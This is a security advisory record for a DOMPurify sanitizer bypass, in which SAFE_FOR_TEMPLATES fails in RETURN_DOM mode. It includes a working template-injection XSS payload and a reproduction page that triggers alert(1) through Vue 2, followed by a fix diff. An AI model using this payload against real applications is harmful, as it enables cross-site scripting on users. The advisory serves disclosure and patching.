{"id":"GHSA-crv5-9vww-q3g8","summary":"DOMPurify has a SAFE_FOR_TEMPLATES bypass in RETURN_DOM mode","details":"## Summary\n\n| Field | Value |\n|:------|:------|\n| **Severity** | Medium |\n| **Affected** | DOMPurify `main` at [`883ac15`](https://github.com/cure53/DOMPurify/tree/883ac15d47f907cb1a3b5a152fe90c4d8c10f9e6), introduced in v1.0.10 ([`7fc196db`](https://github.com/cure53/DOMPurify/commit/7fc196db0b42a0c360262dba0cc39c9c91bfe1ec)) |\n\n`SAFE_FOR_TEMPLATES` strips `{{...}}` expressions from untrusted HTML. This works in string mode but not with `RETURN_DOM` or `RETURN_DOM_FRAGMENT`, allowing XSS via template-evaluating frameworks like Vue 2.\n\n## Technical Details\n\nDOMPurify strips template expressions in two passes:\n\n1. **Per-node** — each text node is checked during the tree walk ([`purify.ts:1179-1191`](https://github.com/cure53/DOMPurify/blob/883ac15d47f907cb1a3b5a152fe90c4d8c10f9e6/src/purify.ts#L1179-L1191)):\n\n```js\n// pass #1: runs on every text node during tree walk\nif (SAFE_FOR_TEMPLATES && currentNode.nodeType === NODE_TYPE.text) {\n  content = currentNode.textContent;\n  content = content.replace(MUSTACHE_EXPR, ' ');  // {{...}} -\u003e ' '\n  content = content.replace(ERB_EXPR, ' ');        // \u003c%...%\u003e -\u003e ' '\n  content = content.replace(TMPLIT_EXPR, ' ');      // ${...  -\u003e ' '\n  currentNode.textContent = content;\n}\n```\n\n2. **Final string scrub** — after serialization, the full HTML string is scrubbed again ([`purify.ts:1679-1683`](https://github.com/cure53/DOMPurify/blob/883ac15d47f907cb1a3b5a152fe90c4d8c10f9e6/src/purify.ts#L1679-L1683)). This is the safety net that catches expressions that only form after the DOM settles.\n\nThe `RETURN_DOM` path returns before pass #2 ever runs ([`purify.ts:1637-1661`](https://github.com/cure53/DOMPurify/blob/883ac15d47f907cb1a3b5a152fe90c4d8c10f9e6/src/purify.ts#L1637-L1661)):\n\n```js\n// purify.ts (simplified)\n\nif (RETURN_DOM) {\n  // ... build returnNode ...\n  return returnNode;        // \u003c-- exits here, pass #2 never runs\n}\n\n// pass #2: only reached by string-mode callers\nif (SAFE_FOR_TEMPLATES) {\n  serializedHTML = serializedHTML.replace(MUSTACHE_EXPR, ' ');\n}\nreturn serializedHTML;\n```\n\nThe payload `{\u003cfoo\u003e\u003c/foo\u003e{constructor.constructor('alert(1)')()}\u003cfoo\u003e\u003c/foo\u003e}` exploits this:\n\n1. Parser creates: `TEXT(\"{\")` → `\u003cfoo\u003e` → `TEXT(\"{payload}\")` → `\u003cfoo\u003e` → `TEXT(\"}\")` — no single node contains `{{`, so pass #1 misses it\n2. `\u003cfoo\u003e` is not allowed, so DOMPurify removes it but keeps surrounding text\n3. The three text nodes are now adjacent — `.outerHTML` reads them as `{{payload}}`, which Vue 2 compiles and executes\n\n## Reproduce\n\nOpen the following html in any browser and `alert(1)` pops up.\n\n```html\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\n\u003cbody\u003e\n  \u003cscript src=\"https://cdn.jsdelivr.net/npm/dompurify@3.3.3/dist/purify.min.js\"\u003e\u003c/script\u003e\n  \u003cscript src=\"https://cdn.jsdelivr.net/npm/vue@2.7.16/dist/vue.min.js\"\u003e\u003c/script\u003e\n  \u003cscript\u003e\n    var dirty = '\u003cdiv id=\"app\"\u003e{\u003cfoo\u003e\u003c/foo\u003e{constructor.constructor(\"alert(1)\")()}\u003cfoo\u003e\u003c/foo\u003e}\u003c/div\u003e';\n    var dom = DOMPurify.sanitize(dirty, { SAFE_FOR_TEMPLATES: true, RETURN_DOM: true });\n    document.body.appendChild(dom.firstChild);\n    new Vue({ el: '#app' });\n  \u003c/script\u003e\n\u003c/body\u003e\n\n\u003c/html\u003e\n```\n\n## Impact\n\nAny application that sanitizes attacker-controlled HTML with `SAFE_FOR_TEMPLATES: true` and `RETURN_DOM: true` (or `RETURN_DOM_FRAGMENT: true`), then mounts the result into a template-evaluating framework, is vulnerable to XSS.\n\n## Recommendations\n\n### Fix\n\n`normalize()` merges the split text nodes, then the same regex from the string path catches the expression. Placed before the fragment logic, this fixes both `RETURN_DOM` and `RETURN_DOM_FRAGMENT`.\n\n```diff\n     if (RETURN_DOM) {\n+      if (SAFE_FOR_TEMPLATES) {\n+        body.normalize();\n+        let html = body.innerHTML;\n+        arrayForEach([MUSTACHE_EXPR, ERB_EXPR, TMPLIT_EXPR], (expr: RegExp) =\u003e {\n+          html = stringReplace(html, expr, ' ');\n+        });\n+        body.innerHTML = html;\n+      }\n+\n       if (RETURN_DOM_FRAGMENT) {\n         returnNode = createDocumentFragment.call(body.ownerDocument);\n```","aliases":["CVE-2026-41239"],"modified":"2026-07-17T21:10:48.662118853Z","published":"2026-04-22T17:32:54Z","database_specific":{"cwe_ids":["CWE-1289","CWE-79"],"severity":"MODERATE","github_reviewed":true,"github_reviewed_at":"2026-04-22T17:32:54Z","nvd_published_at":"2026-04-23T16:16:26Z"},"references":[{"type":"WEB","url":"https://github.com/cure53/DOMPurify/security/advisories/GHSA-crv5-9vww-q3g8"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41239"},{"type":"PACKAGE","url":"https://github.com/cure53/DOMPurify"},{"type":"WEB","url":"https://github.com/cure53/DOMPurify/releases/tag/3.4.0"}],"affected":[{"package":{"name":"dompurify","ecosystem":"npm","purl":"pkg:npm/dompurify"},"ranges":[{"type":"SEMVER","events":[{"introduced":"1.0.10"},{"fixed":"3.4.0"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-crv5-9vww-q3g8/GHSA-crv5-9vww-q3g8.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N"}]}